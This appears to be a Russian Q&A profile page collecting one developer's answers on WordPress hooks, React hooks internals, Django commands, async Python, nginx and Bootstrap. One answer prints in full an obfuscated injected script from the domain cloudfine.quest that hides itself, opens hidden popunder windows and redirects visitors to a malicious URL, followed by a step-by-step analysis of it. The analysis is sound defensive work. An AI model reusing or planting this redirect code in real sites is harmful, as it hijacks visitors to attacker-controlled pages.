• Проблема с плагином кастомной оплаты?

    Mike_Ro
    @Mike_Ro Куратор тега WordPress
    Python, JS, WordPress, SEO, Bots, Adversting
    Здесь что лежит?
    $response_body['data']['attributes']['redirect_url'];

    А здесь?
    $response_body['data']['attributes'];
    Подозреваю, что нужно так:
    $response_body['data']['attributes']['hpp_url'];
    Еще интересный момент со статусом оплаты [status] => process_pending, возможно, платеж еще не обработан и нужно время.
    Ответ написан
  • Откуда React берет объект для инициализации хуков без пути к нему?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Реакт использует контекст, чтобы управлять хуками и их состоянием. Когда компонент реакта рендерится, реакт устанавливает ReactCurrentDispatcher (текущий диспетчер хуков) в соответствующий объект диспетчера для этого рендера. Это позволяет хукам (например, useState) обращаться к текущему состоянию и методам жизненного цикла компонента без необходимости явно передавать какие либо ссылки на компоненты или их состояние.

    https://github.com/facebook/react/issues/14022#iss...
    Переменная ReactCurrentDispatcher.current по умолчанию имеет значение null, потому что вне контекста рендера компонента использование хуков не имеет смысла. Если Вы попытаетесь использовать хук вне компонента (в обычной функции JavaScript), ReactCurrentDispatcher.current будет null, что приведет к ошибке, указывающей на неверный вызов хука.

    Реализация хуков находится в исходном коде реакта. Там же можно посмотреть, как реакт реализует useState и прочие хуки.

    How hooks work | How React Works
    Заметка о том, как работают хуки в React
    Первое погружение в исходники хуков
    Ответ написан
    4 комментария
  • Как создать отдельные категории для страниц wordpress?

    Mike_Ro
    @Mike_Ro Куратор тега WordPress
    Python, JS, WordPress, SEO, Bots, Adversting
    Добавление поддержки категорий (и меток) для страниц, functions.php:
    function test() {
        register_taxonomy_for_object_type('category', 'page');
        register_taxonomy_for_object_type('post_tag', 'page');
    }
    
    add_action('init', 'test');
    Ответ написан
    Комментировать
  • Как обрезать описания рубрик в админке Worpress?

    Mike_Ro
    @Mike_Ro Куратор тега WordPress
    Python, JS, WordPress, SEO, Bots, Adversting
    Изменяя уже существующие колонки, есть вероятность, что эти колонки может изменить и разработчик любого из плагинов или сами разрабы WP, соответственно, в определенный момент, привязки на эти колонки могут перестать работать. Я использую более надежный способ, добавление своей колонки с нужным мне содержимым.

    functions.php:
    // add custom column
    function add_custom_column($columns) {
        $columns['short_description'] = __('Краткое описание', 'my_custom_plugin');
        unset($columns['description']);
        return $columns;
    }
    
    add_filter('manage_edit-category_columns', 'add_custom_column');
    
    // fill custom column
    function fill_custom_column($deprecated, $column_name, $term_id) {
        if('short_description' === $column_name) {
            $term = get_term($term_id);
            echo mb_substr($term->description, 0, 20) . (mb_strlen($term->description) > 20 ? '…' : '');
        }
    }
    
    add_action('manage_category_custom_column', 'fill_custom_column', 10, 3);
    Ответ написан
    1 комментарий
  • Как захватить все запросы с trailing slash на конце?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Работает?
    location ~ ^(.+)/+$ {
        ...
    }
    Ответ написан
    Комментировать
  • Можно ли как-то определить (селектором ?), что после элемента идёт разрыв страницы печати?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Можно ли как-то определить (селектором ?), что после элемента идёт разрыв страницы печати?

    CSS селектором? - нельзя.

    Да и на js это будет на самая простая задача, поскольку js напрямую не предоставляет информацию о разрывах страниц при печати, поэтому высоту страницы нужно будет вычислять динамически и уже после, двигать содержимое страницы до или после разрыва.
    Ответ написан
  • Почему моя асинхронная функция останавливает всю программу?

    Mike_Ro
    @Mike_Ro Куратор тега Python
    Python, JS, WordPress, SEO, Bots, Adversting
    Хотя Вы и используете асинхронный код выше (в telegram боте), Ваши функции, которые работают с google sheets и бд, работают синхронно. В этом случае, даже если Вы оборачиваете их в await, то они чудесным образом не станут асинхронными и все равно заблокируют исполнение асинхронного eventloop, пока не завершат свою работу.

    Чтобы решить Вашу проблему, необходимо использовать библиотеки, которые умеют в асинхронную работу, бд - aiosqlite, а с google sheets - хз, вроде подходит gspread_asyncio.
    Ответ написан
    Комментировать
  • Как выполнять javascript не только в браузере?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    можно ли как-то выполнять javascript код с сохранением не открывая вручную тысячи страниц?

    Можно сохранить в localStorgae или IndexedDB хорошая библиотека localForage.
    Ответ написан
    1 комментарий
  • Какую максимально эффективную и простую капчу посоветуете?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Искал, искал — а ничего толкового вообще на нашел, вот прям совсем. Наверное, не там искал.

    Не совсем, таких капчей просто нет и не будет, т.к. продвинутая капча собирает инфу не только с Вашего сайта, но и с других, сопостовляя все, что делает пользователь. Самые эффективные капчи, которые не полностью защищают от накрутки ПФ - cloudflare (до перехода на сайт), рекапча и смарткапча после перехода.
    Защитит ли эта капча от поведенческих ботов или просто будет нагружать ресурсы бота и хоста заодно?

    Не эта, а любая капча - будет зависеть от технологичности бота. Как быть, когда бот человечнее Вас? Банить Вас?
    Ответ написан
    Комментировать
  • Как выполнить консольную команду из подкаталога?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    В Django каждая консольная команда должна быть модулем, который располагается в определенной структуре каталогов, чтобы Django мог его обнаружить и зарегистрировать.

    Если прям жмет, то можно разместить __init__.py в каждом каталоге до консольной команды, с импортом вида:
    from .command1 import Command1
    
    # app/
    #    management/
    #        __init__.py <-- this import
    #        commands/
    #            __init__.py <-- and this import
    #                command1/
    #                    __init__.py <-- and this import

    Это позволит Django обнаруживать команды, находящиеся в подкаталогах, но при этом требует, чтобы каждая команда была в своем собственном подкаталоге и имела собственный __init__.py.

    Кстати, имя команды которое Вы используете при вызове manage.py, должно соответствовать имени каталога, в котором находится команда. Соответственно, если Вы разместили команду в app/management/commands/subdir1/command1, Вы всё равно вызываете её как manage.py command1, не указывая subdir1. Django не поддерживает вызов команд с использованием точечной нотации для обозначения подкаталогов, как в Вашем примере subdir1.command1.
    Ответ написан
    Комментировать
  • Две одинаковых ссылки на одну страницу. Как обойти?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Узнал, что не рекомендуется на странице размещать две одинаковых ссылки на одну страницу.

    Не замечал разницы в ранжирование.
    Что если дубли ссылок формируются с помощью js и изначально в верстке не присутствуют? Это решает проблему?

    Отчасти, ПС с каждым днем все лучше индексируют динамический js контент.
    У меня на сайте сложное меню и дубли ссылок формируются в нем. Проще такое меню, т.е. без дублей, никак не сделать.

    У всех так.
    Ответ написан
    1 комментарий
  • Кто-нибудь сталкивался с подключением скрипта с домена cloudfine.quest?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Код скрипта
    document.currentScript.remove();if(typeof wsjwa573==='undefined'){const wsjwa573=true;const wkonuolh='https://cloudfine.quest/redirect';if(('PushManager'in window)&&('Notification'in window)&&('fetch'in window)){window.location.replace('https://'+(window.location.hostname!==undefined?wi...);}else{const is5ykqkx=setInterval(()=>{if(document.readyState==='interactive'||document.readyState==='complete'){clearInterval(is5ykqkx);if('ontouchstart'in window){function vg4ymqkq(afzqftyr){document.removeEventListener('click',vg4ymqkq);if(window.open(afzqftyr.target.href===undefined?window.location.href:afzqftyr.target.href,'_blank')!==null){afzqftyr.preventDefault();afzqftyr.stopPropagation();setTimeout(()=>{window.location.href=wkonuolh;},1000);}}document.addEventListener('click',vg4ymqkq);}else{function vg4ymqkq(afzqftyr){afzqftyr.preventDefault();afzqftyr.stopPropagation();document.removeEventListener('click',vg4ymqkq);const ga3m40pt=window.open('','_blank','fullscreen=no,height=100,left='+(screen.width+100)+',location=no,menubar=no,resizable=no,scrollbars=no,status=no,titlebar=no,toolbar=no,top='+(screen.height+100)+',width=100');if(ga3m40pt!==null){function nxq27s6i(){clearTimeout(ryzfrfy5);ga3m40pt.moveTo(0,0);ga3m40pt.resizeTo(window.screen.availWidth,window.screen.availHeight);ga3m40pt.document.location.href=wkonuolh;window.removeEventListener('focus',nxq27s6i);}const ryzfrfy5=setTimeout(()=>{ga3m40pt.close();window.removeEventListener('focus',nxq27s6i);},8000);ga3m40pt.moveTo(screen.width+100,screen.height+100);window.addEventListener('focus',nxq27s6i);}document.body.style.opacity='1';}document.body.style.opacity='0.7';document.addEventListener('click',vg4ymqkq);}}},50);}}

    Вредонос:
    1. Выполняет все операции и сразу удаляется из dom.
    2. Чекает переменную wsjwa573 (на нее много чего завязано, хз зачем, нет времени вычислять).
    3. Проверяет, если ли в браузере посетителя pushmanager, notification и fetch apis.
    4. Редиректит на вредоносный сайт по условию.
    5. Ставит обработчик ontouchstart по клику и условию.
    Итп.
    Прошерстил все файлы проекта - не нашел никаких подключений. Ни по одному из ключевых слов не находится ничего подобного.

    Разумеется не нашли, вредонос создавался не для того, чтобы его было просто найти. Ищите дальше, кто то его в любом случае подключает на страницу.
    Ответ написан
    6 комментариев
  • Bootstrap при добавлении товара с бд неправильно распологает элементы товара, почему?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    А при добавлении картинок с бд они все идут в один столбец.

    В один контейнер+ряд+столбец, для каждого из изображений. Сурово! Предлагаю все таки ограничиться колонками:
    include("bd.php");
    
    mysqli_query($bd, "SET NAMES utf8 COLLATE utf8_unicode_ci");
    
    $res = mysqli_query($bd, "SELECT * FROM kat");
    
    echo '<div class="container">';
    echo '<div class="row">';
    
    while($row = mysqli_fetch_array($res)) {
        echo '<div class="col-6 col-sm-6 col-md-4 col-lg-3 col-xl-2">';
        echo '<img src=img/tovar/' . $row['img'] . ' class="img-fluid"/>';
        echo '</div>';
    }
    
    echo '</div>';
    echo '</div>';
    Ответ написан
    1 комментарий
  • Как ограничить количество пользователей для регистрации на сайте WordPress?

    Mike_Ro
    @Mike_Ro Куратор тега WordPress
    Python, JS, WordPress, SEO, Bots, Adversting
    Отключаем возможность регистрации пользователей, если их более 140, и включаем обратно, если их мене 140, functions.php:
    add_action('init', function() {
        $limit = 140;
        $count_users = count_users();
        $total_users = $count_users['total_users'];
    
        if($total_users > $limit) {
            update_option('users_can_register', false);
        } else {
            update_option('users_can_register', true);
        }
    });
    Ответ написан
    Комментировать
  • Что учесть в начале создания веб-портала и перейти с начальной версии на продвинутую без потерь? Как выбрать разработчика, структуру и платформу?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    Хочу сделать тематический портал, с авторскими статьями, и разными функциональными разделами.
    Основная ценность портала для посетителя - статьи.
    Сам делал сайты простые ручками и на вордпрессе, но на портал нет времени заниматься созданием/администрированием, поэтому планирую найти и нанять специалиста разработчика/админа.
    На первом этапе планирую сделать минимально работающий продукт - просто портал со регулярно добавляющимися статьями и навигацией. Когда трафик очевидно начнёт расти - планирую добавлять новые функциональные разделы.

    2. Какие платформы порекомендуете?

    MVP? Тогда Вам сюда Что выбрать WP или Python+Django для сайта? (Django можно заменить на любую подходящую технологию, суть от этого не поменяется).
    3. Как не прогадать с выбором разработчика/админа?

    Составить ТЗ, найти разработчика, контролировать процесс и принять (или нет) результат работы - должен опытный человек.
    4. Может есть какие-то толковые книги/курсы по созданию таких проектов. Имею ввиду не столько технические по коду, сколько по организационным этапам и методике того что учесть нужно.

    Смотрите пункт выше.
    Ответ написан
    Комментировать
  • Есть ли реальный профит от использования актуальных фронтенд-технологий?

    Mike_Ro
    @Mike_Ro
    Python, JS, WordPress, SEO, Bots, Adversting
    В 2016-м году, делали нечто, что потом начали люди называть SPA - но за счёт аяксов, которые грузят что нужно. При этом сохраняется структура страниц на сервере, и нет и не было проблем с индексацией.

    Проблемы с индексацией есть и сейчас, чтобы там не заявляли ПС, а в древние 2016 года они были выражены в несколько раз сильнее. То, что Вы проблемы не замечали - не значит, что их не было.
    Вот от фронтовых фреймворков верстки - профит заметен был (тот же фаундейшн, бутстрап и тд) - действительно ускоряло и упрощало жизнь.

    Ускоряет жизнь тем, кто не умеет в вёрстку, остальным - замедляет.
    1. Стильно, модно, молодёжно. Других не могу придумать. Вроде бы как должно работать быстрее, но практика этого не показывает (или настолько незначительно, что конечному пользователю - пофиг, будет работать аякс или вьюшная реактивность).

    На определенном этапе разработки, стоимость поддержки проекта на чистом js начнёт обгонять проект на react/vue. Пользователю будет конечно пофиг, т.к. он не найдёт в ПС Ваш SPA сайт.
    Собственно, а зачем это всё нужно, если профит, кажется - нулевой

    Для ускорения разработки, а ключевое слово здесь "кажется".

    P.S. в некоторых ситуациях действительно быстрее и дешевле написать некоторые функции на чистом js и не тащить весь react стек в проект, но это больше исключение, чем правило.
    Ответ написан
    2 комментария
  • Можно ли с помощью JS узнать наличие каких-либо датчиков в смартфоне или каких-то иных их отличительных особенностей?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Есть, и все неплохо симулируется :)
    Ответ написан
    Комментировать
  • Как правильно перехватывать события ухода пользователя со страницы?

    Mike_Ro
    @Mike_Ro Куратор тега JavaScript
    Python, JS, WordPress, SEO, Bots, Adversting
    Ответ написан
    Комментировать